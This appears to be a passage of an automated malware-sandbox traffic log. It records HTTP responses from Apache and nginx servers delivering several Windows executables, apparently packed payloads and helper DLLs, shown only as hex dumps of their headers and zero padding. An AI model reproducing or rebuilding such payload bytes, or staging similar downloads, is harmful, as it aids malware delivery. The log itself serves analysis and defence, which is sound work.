00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 09:25:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 09:25:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 09:25:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 09:25:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 09:25:33 GMTContent-Type: application/octet-streamContent-Length: 2833920Last-Modified: Sun, 24 Nov 2024 09:23:19 GMTConnection: keep-aliveETag: "6742f087-2b3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 1f e1 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 6e 76 6c 7a 72 63 6a 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 70 67 61 65 72 6d 79 00 20 00 00 00 80 2b 00 00 04 00 00 00 18 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 09:25:35 GMTContent-Type: application/octet-streamContent-Length: 1949184Last-Modified: Sun, 24 Nov 2024 09:24:50 GMTConnection: keep-aliveETag: "6742f0e2-1dbe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 30 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4d 00 00 04 00 00 a4 aa 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 11 4d 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 4d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 7a 70 79 67 65 6e 61 00 b0 1a 00 00 70 32 00 00 a2 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 67 6b 77 6b 67 77 65 00 10 00 00 00 20 4d 00 00 04 00 00 00 98 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4d 00 00 22 00 00 00 9c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 09:25:48 GMTContent-Type: application/octet-streamContent-Length: 2833920Last-Modified: Sun, 24 Nov 2024 09:23:19 GMTConnection: keep-aliveETag: "6742f087-2b3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 1f e1 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 6e 76 6c 7a 72 63 6a 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 70 67 61 65 72 6d 79 00 20 00 00 00 80 2b 00 00 04 00 00 00 18 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

